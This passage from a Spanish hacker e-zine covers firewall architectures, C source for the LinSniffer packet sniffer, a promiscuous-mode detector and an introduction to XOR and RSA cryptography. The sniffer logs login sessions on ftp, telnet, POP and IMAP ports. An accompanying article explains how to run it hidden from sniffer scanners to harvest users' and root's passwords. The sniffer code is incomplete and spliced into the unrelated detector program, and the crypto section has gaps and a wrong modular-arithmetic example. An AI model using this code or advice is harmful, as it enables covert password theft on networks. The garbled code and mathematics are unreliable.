paquetes. Es poco seguro,ya que si alguien consigue acceder a el,la red
estara a su merced,y ademas no implementa un grado avanzado de proteccion,
requerido por muchas aplicaciones de red.
*Host de doble conexion
Se usa un ordenador como linea divisoria entre Internet y la red interna
que utiliza dos interfaces distintos,uno para cada una de las redes.
Utilizan un conjunto de proxies (fw a nivel de aplicacion) o uno (fw a nivel
de circuito) para controlar el trafico entre las dos redes,hay que tener en
cuenta la necesidad de desactivar el encaminador interno del host,una vez
hecho esto los paquetes pasan por el punto de comprobacion,una capa de
aplicacion,que es el unico camino entre las redes,si el encaminamiento interno
esta activado los paquetes evitaran las funciones de la capa de aplicacion del
firewall,por ejemplo los Unix de Berkeley activan por defecto las funciones de
encaminamiento y hay que configurar y reconstruir el kernel.
*Filtrado de host
Al utilizar este tipo se aade un router que conecta la red con Internet
y a su vez hace funciones de filtrado,este router esta conectado a Inet por
una parte y a un ordenador (host bastion ),que a su vez esta conectado a la
red interna, por otra.El router solo puede ver este ordenador,que restringe el
acceso a la red interna,y asi mismo los usuarios de la red interna deben pasar
por el para salir a Internet.El router hace el primer y primordial filtrado y
el host bastion el resto. Los inconvenientes son que si el host se cae, se
acaba el trafico entre las redes,y ademas el host puede convertirse en un
cuello de botella mermando la rapidez del trafico entre las redes.
*Filtrado de subred
Este tipo de arquitectura aisla aun mas la red privada de Internet,
incorpora dos routers y un servidor proxy,uno de los routers controla el
trafico de la red local y el otro el trafico de Internet,entre ellos esta
situado el servidor proxy, es similar al modelo anterior pero el segundo
router situado entre el servidor proxy y la red local, proporciona mayor
proteccion para la red local y tambien frente al acceso interno inadecuado
al proxy server. Es bastante seguro,pero a su vez bastante mas caro que otros
tipos.
DIRECCIONES DE INTERES
Por regla general todas las webs dedicadas al tema de la (in)seguridad
suelen tener documentacion sobre firewalls como hay muchas y las mejores las
conocemos todos paso de escribirlas, aqui teneis algunas otras:
-TIS firewall toolkit
www.tis.com
-SOCKS
www.socks.ben.com
-IIS internet information server para NT
www.moco$oft.com
-IPFWADM
www.xos.nl/linux/ipfwadm
-Firewall howto
http://sunsite.unc.edu/LDP/howto/firewall-howto.html
-Lista
majordomo@greatcircle.com
subscribe firewalls
*Imposible es el adjetivo de los imbeciles (Napoleon)*
Salud y hasta el proximo articulo.
==============================================================================
------------------------------------------------------------------------------
==============================================================================
+ SNIFFERS
------------------------------------
* Sniffers *
------------------------------------
/*
LinSniffer 0.03 [BETA]
Mike Edulla
medulla@infosoc.com
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <linux/if.h>
#include <signal.h>
#include <stdio.h>
#include <arpa/inet.h>
#include <linux/socket.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/if_ether.h>
struct etherpacket
{
struct ethhdr eth;
struct iphdr ip;
struct tcphdr tcp;
char buff[8192];
}ep;
struct
{
unsigned long saddr;
unsigned long daddr;
unsigned short sport;
unsigned short dport;
int bytes_read;
char active;
time_t start_time;
} victim;
struct iphdr *ip;
struct tcphdr *tcp;
int s;
FILE *fp;
#define CAPTLEN 512
#define TIMEOUT 30
#define TCPLOG "tcp.log"
int openintf(char *d)
{
int fd;
struct ifreq ifr;
int s;
fd=socket(AF_INET, SOCK_PACKET, htons(0x800));
if(fd < 0)
{
perror("cant get SOCK_PACKET socket");
exit(0);
}
strcpy(ifr.ifr_name, d);
s=ioctl(fd, SIOCGIFFLAGS, &ifr);
if(s < 0)
{
close(fd);
perror("cant get flags");
exit(0);
}
ifr.ifr_flags |= IFF_PROMISC;
s=ioctl(fd, SIOCSIFFLAGS, &ifr);
if(s < 0) perror("cant set promiscuous mode");
return fd;
}
int read_tcp(int s)
{
int x;
while(1)
{
x=read(s, (struct etherpacket *)&ep, sizeof(ep));
if(x > 1)
{
if(filter()==0) continue;
x=x-54;
if(x < 1) continue;
return x;
}
}
}
int filter(void)
{
int p;
p=0;
if(ip->protocol != 6) return 0;
if(victim.active != 0)
if(victim.bytes_read > CAPTLEN)
{
fprintf(fp, "\n----- [CAPLEN Exceeded]\n");
clear_victim();
return 0;
}
if(victim.active != 0)
if(time(NULL) > (victim.start_time + TIMEOUT))
{
fprintf(fp, "\n----- [Timed Out]\n");
clear_victim();
return 0;
}
if(ntohs(tcp->dest)==21) p=1; /* ftp */
if(ntohs(tcp->dest)==23) p=1; /* telnet */
if(ntohs(tcp->dest)==110) p=1; /* pop3 */
if(ntohs(tcp->dest)==109) p=1; /* pop2 */
if(ntohs(tcp->dest)==143) p=1; /* imap2 */
if(ntohs(tcp->dest)==513) p=1; /* rlogin */
if(ntohs(tcp->dest)==106) p=1; /* poppasswd */
if(victim.active == 0)
if(p == 1)
if(tcp->syn == 1)
{
victim.saddr=ip->saddr;
victim.daddr=ip->daddr;
victim.active=1;
victim.sport=tcp->source;
victim.dport=tcp->dest;
victim.bytes_read=0;
victim.start_time=time(NULL);
print_header();
}
if(tcp->dest != victim.dport) return 0;
if(tcp->source != victim.sport) return 0;
if(ip->saddr != victim.saddr) return 0;
if(ip->daddr != victim.daddr) return 0;
if(tcp->rst == 1)
{
victim.active=0;
alarm(0);
fprintf(fp, "\n----- [RST]\n");
clear_victim();
return 0;
}
if(tcp->fin == 1)
{
victim.active=0;
alarm(0);
fprintf(fp, "\n----- [FIN]\n");
clear_victim();
return 0;
}
return 1;
}
int print_header(void)
{
fprintf(fp, "\n");
fprintf(fp, "%s => ", hostlookup(ip->saddr));
fprintf(fp, "%s [%d]\n", hostlookup(ip->daddr), ntohs(tcp->dest));
}
int print_data(int datalen, char *data)
{
int i=0;
int t=0;
victim.bytes_read=victim.bytes_read+datalen;
for(i=0;i != datalen;i++)
{
if(data[i] == 13) { fprintf(fp, "\n"); t=0; }
if(isprint(data[i])) {fprintf(fp, "%c", data[i]);t++;}
if(t > 75) {t=0;fprintf(fp, "\n");}
}
}
#include <stdio.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <errno.h>
#if defined (__linux__)
#include <linux/if.h>
#else
#include <net/if.h>
#endif
#define size(p) (sizeof(p))
int dev_flags=0,
device_flags=0,
set_look_all=0;
int
main(int argc, char **argv) {
struct ifreq ifreq, *ifr;
struct ifconf ifc;
char buf[BUFSIZ], *cp, *cplim;
if(argc <= 1)
set_look_all++;
if((dev_flags = socket(PF_INET, SOCK_DGRAM, 0)) < 0) {
fprintf(stderr, "An error occured establiashing while establishing a soc
ket\n");
perror("socket");
exit(1);
}
ifc.ifc_len = sizeof(buf);
ifc.ifc_buf = buf;
if(ioctl(dev_flags, SIOCGIFCONF, (char *)&ifc) < 0) {
perror("SIOCGIFCONF");
exit(1);
}
ifr = ifc.ifc_req;
cplim=buf+ifc.ifc_len;
for(cp = buf; cp < cplim;
cp += sizeof (ifr->ifr_name) + size(ifr->ifr_addr))
{
ifr = (struct ifreq *)cp;
if(argv[1])
if(strcmp(ifr->ifr_name, argv[1]) && !set_look_all)
continue;
ifreq = *ifr;
if(ioctl(dev_flags, SIOCGIFFLAGS, (char *)&ifreq) < 0)
{
fprintf(stderr, "SIOCGIFFLAGS: %s (get interface flags):
%s\n", ifr->ifr_name,strerror(errno));
continue;
}
device_flags=0; device_flags = ifreq.ifr_flags;
fprintf(stdout, "%s: ", ifreq.ifr_name);
if((device_flags & IFF_PROMISC) != 0)
fprintf(stdout, "Promiscuous: Sniffer detected.\n");
else
fprintf(stdout, "Not-Promiscous: No Sniffers detected.\n
");
if(!set_look_all)
exit(0);
else
continue;
}
if(!set_look_all)
fprintf(stdout, "%s: Unknown device.\n", argv[1]);
}
---- cortar aqui ----
Aunque suene raro instalar un sniffer en modo no promiscuo si que tiene utili-
dad (al menos para mi). La principal ventaja es que es casi imposible que lo
detecten, ya que al estar la tarjeta sin el flag promisc aunque pasen un sca-
nners de sniffers no lo detectaran, y ademas te ahorras de meter un troyano
para el ifconfig y demas preocupaciones. Por el contrario solo capturaras los
paquetes ethernet que vayan dirigidos a ese ordenador, asi que no podras
pillar passwords de otros ordenadores directamente. Pero aunque en principio
no puedas capturar passwords de otros ordenadores al final acabas pillando
alguno. Me explico.. el sniffer logeara las sesiones que se hagan al propio
ordenador desde cualquier lugar de la red, por ejemplo, una conexion telnet.
Para empezar ya grabaras todos los logins y passwords de los usuarios que
hagan un telnet (incluido el root), y luego capturara los primeros 30
segundos del telnet, y es muy raro que en esos 30 segundos algun usuario no
haga un telnet o un ftp a otra maquina (no tiene pq estar en la misma red
local) quedando el login y el password de la maquina remota en el log. Si vas
a hacer esto lo mejor es que configures el sniffer para que solo logee el
puerto 23 (de telnet) y que capture los primeros 60 segundos o asi, para que
tengas mas posibilidades de que alguien haga una conexion a otra maquina.
Para instalar el sniffer en modo no promiscuo lo que tienes que hacer ejecutar
el sniffer, quedando corriendo en segundo plano y con la tarjeta con el flag
promisc activado. Luego para quitar el promisc puedes seguir dos caminos, o
quitarlo tu directamente con el ifconfig (esto funciona en linux, en otros ni
idea), siendo la orden algo como: "ifconfig eth0 -promisc". O utilizar este
programa que aparecio en el numero 53 del ezine phrack y que hace exactamente
lo mismo.
6.- Despedida.
Vaya, siento que este articulo haya sido tan corto, espero que para otra vez
sea mas largo ;). Venga, un saludo a sp4rk, shyba, asturcon, ulan, dark y a
toda la pea en general. Hasta otra.
RaiSe
raise@biogate.com
==============================================================================
------------------------------------------------------------------------------
==============================================================================
+ CRIPTOGRAFIA
CRIPTOGRAFIA.
=============
by cafo
-------
Hola a todos.
Ya que no habia nadie que quisiera hacer un articulillo sobre la criptografia,
y dado que todavia hay gente que ni siquiera sabe lo que es el pgp, y mucho
menos como funciona, me he decidido a hacer una especie de introduccion
'multitudinaria' a la mayor parte de los sistemas de ocultacion de informacion
facilmente locallizables por la red.
Antes de empezar quiero aclara un par de cosillas:
1.- Yo no soy criptoanalista, asi que ABSOLUTAMENTE TODO lo que aparece
en este texto esta sacado de otros documentos o son fruto de mi propia
experiencia.
2.- Espero que al acabar de leer este articulo tengais un nivel
aceptable de criptografia a nivel de usuario. De todas formas, me
planteo el espiritu del texto como meramente introductorio, asi que no
pienso contestar ningun mail preguntando como se factoriza una curva
eliptica ni ninguna cosa de esas (principalmente porque no tengo ni
repajolera idea de como se haria ;)
Me ha parecido que hay una gran falta de base en lo que se refiere a
criptografia, por lo que intentare no dar nada por supuesto (por lo menos
sabeis encender el ordenador, no? ;) y me limitare a ir al concepto de los
sistemas criptograficos sin entrar mas que lo imprescindible en las complejas
matematicas que usan. Debido a esto metere errores garrafales a proposito, y
espero que los puristas no me crucifiquen por ello (que no es tan facil
explicar en que se basa IDEA a gente que no sale de matematicas en base
10 :).
01100001
XOR 01101100
----------------
00001101 13 en ascii, el caracter de control del retorno
de carro --> (Enter, para que nos entendamos ;)
- Si ahora cogemos el resultado y le volvemos a hacer un XOR con la
letra 'l':
00001101
XOR 01101100
-----------------
01100001
volvemos a obtener la letra 'a' original.
Pues en esto tan simple se basa la mayoria de los sistema de criptografia de
clave privada. Volviendo con nuestro querido mensaje:
- utilizaremos la clave 'cafo':
Vamos a explicar como funciona el RSA. Para ello tendremos que ver antes una
introduccion a las matematicas que usa.
Todos estos algoritmos se basan en ciertas relaciones matematicas descubiertas
por Fermat, Euclides, y demas gente de esa talla.
Concretamente, el algoritmo que usa el RSA original se basa en una relacion
que descubrio Fermat en el siglo XVII: la diferencia entre dos numeros de la
forma
a^x - a ('a' elevado a 'x' menos 'a')
siempre es divisible por x, siempre que x sea un numero primo (si no os lo
creeis ya podeis coger la calculadora y empezar a hacer pruebas ;). La
variacion que encontraron es la siguiente: si 'm' y 'n' son dos numeros
primos y 'a' es un numero natural coprimo con los dos anteriores (los numeros
coprimos son aquellos cuyo maximo comun divisor es 1; por ejemplo, el 50
y el 7 son numeros coprimos) entonces la diferencia
a^(m-1)(n-1) - 1
es divisible por el producto 'mn'.
La gracia consiste en encontrar un numero 'k' que sea el producto de 'm' y 'n'
de forma que sea lo mas dificil posible encontrar 'm' y 'n' a partir de 'k',
es decir, que sea muy dificil factorizar 'k' para sacar los numeros primos de
los que proviene. Esto se consigue gracias a que los metodos de factorizacion
pierden eficacia cuanto mas grandes sean los numeros primos elegidos (y en el
RSA cogen numeros primos de mas de 100 cifras cada uno).
Ahora tomemos cada clave (la publica y la privada) como dos pares de numeros
de la forma (e,k) y (k,d) donde 'e' es la clave con la que se encripta y
'd' con la que se desencripta.
Convirtiendo el mensaje que queremos encriptar 't' en un numero natural mas
peque~o que 'k-1' (si el mensaje es mas grande que eso, se corta por partes)
tenemos que las funciones para encriptar (E) y para desencriptar (D) son
definidas asi:
E = t^e mod k == C <-- C es el mensaje ya cifrado
D = C^d mod k
(por si no sabeis lo que es operar con modulos la explicacion es muy facil:
son operaciones en las que el limite esta impuesto por el coeficiente del
modulo, es decir, y explicado con un ejemplo, si nos movemos en modulo 7
los numeros nunca podran tener un valor por encima del siete, por lo que
contando desde el principio seria
1, 2, 3, 4, 5, 6, 7, 1, 2, 3, 4, 5, 6, 7, 1, 2, 3, ...
y asi hasta el infinito. Si el resultado de una operacion sale por encima
del coeficiente del modulo, se le va restando dicho coeficiente hasta que
este dentro de los limites permitidos. Por ejemplo, si en mod 7 queremos
multiplicar 3 y 4, tenemos que
3*4 = 12 <-- es mayor que el limite de 7, por lo tanto
12 - 7 = 5
y el resultado es 5)
Volvamos con nuestras formulas de cifrado.
La clave de la seguridad del sistema radica en elegir bien 'e' y 'd' para
que la cosa no sea reversible, es decir, para que teniendo una no se pueda
sacar la otra.
'd' se escoge aleatoriamente como un numero natural coprimo con el producto
(m-1)(n-1).
'e' se toma como uno de los valores que resultan a aplicar el teorema
de Euclides para sacar maximos divisores comunes entre 'd', (m-1) y (n-1).
Como hemos puesto la condicion de que 'd' sea coprimo con (m-1) y (n-1),
y teniendo en cuenta la dificultad de la factorizacion, resulta casi
imposible sacar 'd' a partir de 'e' y de 'k' (dicho en cristiano, que no
se puede sacar la clave de desencriptacion conociendo el producto de los
numeros primos y la clave de encriptacion. Si os habeis fijado, estos dos
valores son los que conforman la clave publica (e,k)), y tampoco al
contrario: no se puede sacar 'e' a traves de 'd' y 'k' (esto tiene utilidad
en el tema de las firmas digitales por la cosa de que se utiliza la
clave privada para firmar un documento).
Explicado esto el proceso es simple.
Cuando queremos encriptar un mensaje seguimos estos pasos:
1.- Reduciomos nuestro mensaje al numero 't' de forma que sea
mas peque~o que k-1
2.- A este numero lo encriptamos usando el resto de la division
t^e / k y obtenemos el mensaje cifrado C
3.- Mandamos este mensaje y el destinatario solo tiene que usar
para desencriptar el resto de la division C^d / k (recordad que
'd' solo lo posee el due~o de la clave privada), porque, gracias
al teorema de Fermat, estamos seguros que volveremos a obtener
el mismo mensaje.
Pues esto es todo.
Esta es la forma mas 'pura' de RSA que he encontrado.
Veamos ahora un caso particular de utilizacion de este algoritmo.
2.1- El PGP.
-------------
Como os habreis fijado al generar un par de claves con el PGP, el programa
lo que hace es preguntaros un identificador, despues os pide que introduzcais
la clave y, depende de la plataforma, que escribais aleatoriamente, que movais
el raton, etc. Despues, y dependiendo del numero de bits que le habeis dicho
que utilice para generar la clave, tarda mas o menos en generar los dos
numeros primos. Que conste que para bits exponentes de 2 (1024, 2048, etc)
utiliza formulas super-rapidas para buscar estos primos, por lo que es casi
instantaneo (a mi, para generar mi clave de 4093 bits, me tardo 8 horas y
media en un pentium 166 ;).
El gran fallo que tiene el RSA es que es lento, lo que para un programa
comercial es un incordio.
La solucion que escogio Phil Zimmerman (el creador del programa) fue la
siguiente:
1.- Para encriptar un mensaje, primero generamos una clave aleatoria
2.- Usando esa clave aleatoria encriptamos el mensaje con tecnicas
paracidas a las de DES (que son muy rapidas) y el resultado lo
guardamos en el archivo final.
3.- Ahora (y aqui esta el truco) encriptamos la clave aleatoria con
todas las claves publicas de los destinatarios (asi podremos
enviar un mismo mensaje a distintos destinatarios), y las metemos
en el archivo junto con los identificadores de las claves publicas
usadas.
Lo que hay que hacer es mandar este archivo al destinatario y al
desencriptarlo lo que se hace es:
1.- El programa mira si alguno identificadores coincide con los de
las claves privadas que posee.
2.- Si encuentra alguna, te pide la contrase~a de esa clave y, si es
correcta, empieza a desencriptar la clave aleatoria con tu clave
privada.
3.- En cuanto la tiene, lo unico que tiene que hacer es desencriptar
el resto del mensaje con la clave aleatoria que acaba de
desencriptar.
Con este metodo, para lo unico que se usa RSA es para encriptar la clave
aleatoria, con lo que la seguridad es 'casi' la misma, pero va mucho mas
rapido. Graficamente, un archivo codificado con PGP tendria la siguiente
estructura:
_________
|_______| <-- cabecera del mensaje (lo tipico de 'BEGIN PGP ...')
| 1 | <-- estos son los identificadores de los destinatarios
| 2 | <-- encriptados
|_______|
|___1'__| <-- esto es la clave aleatoria encriptada para cada
|___2'__| <-- destinatario.
| |
| |
| | <-- este es el mensaje original encriptado con la clave
| | aleatoria.
|_______|
Pues poco mas me queda por decir. Mejor dicho, me queda mucho por decir
pero no creo que en este articulo introductorio quepan muchas cosas :).
Como no podria ser de otra forma terminare mi articulo con mi clave
PGP. Asi, si quereis comentar algo sobre el mismo, tendremos la 'seguridad'
de que nadie nos esta espiando X-D.
==============================================================================
------------------------------------------------------------------------------
==============================================================================
+ CORREO FRESCO
Bueno, en este primer numero esta seccion no es que sea muy larga que
digamos :). Me imagino que ya sabreis de que ira esta seccion, si no, os lo
explico. Esta es la tipica seccion donde los lectores del e-zine escriben
explicando sus dudas sobre algo y nosotros intentamos responderlas. Asi de
simple ;). Ademas, en esta seccion se pueden enviar mails donde se explique
algo que quereis que sepan todos los lectores, como pueden ser quejas,
algun comentario o saludos. Tambien se puede utilizar esto como un, digamos,
tablon de anuncios del tipo " ... se organiza una quedada de hackers
barceloneses el dia ... ;)" o similares. En resumen, esta es VUESTRA seccion.
Asi que, a que esperais para escribir ;) ?
==============================================================================
------------------------------------------------------------------------------
==============================================================================
+ LLAVES PGP
Para los amantes de la privacidad y tambien para los que no, aqui van
las llaves PGP de los que han colaborado en este numero del e-zine. La llave
oficial de [ The NetSearch E-Zine ] se encuentra al principio del e-zine,
buscadla bien ;).
Bueno, alla van:
==============================================================================
------------------------------------------------------------------------------
==============================================================================
+ DESPEDIDA
Bueno, casi sin darnos cuenta, hemos llegado al final de este primer
numero... a que no ha sido tan palo? :)) Bueno, fuera coas, esperamos que os
haya gustado y que colaboreis pronto, ya que me imagino que habreis visto
que no tenemos una "estructura jerarquica", digamos que predomina la anarquia
moderada :) ademas de que no existen miembros, el que quiere colabora y el
que no quiere, no. Asi que vuestras colaboraciones se hacen IMPRESCINDIBLES.
De parte de NetSearch, un saludo y hasta pronto...
EoF-EoF-EoF-EoF-EoF-EoF-EoF-EoF-EoF-EoF-EoF-EoF-EoF-EoF-EoF-EoF-EoF-EoF-EoF-Eo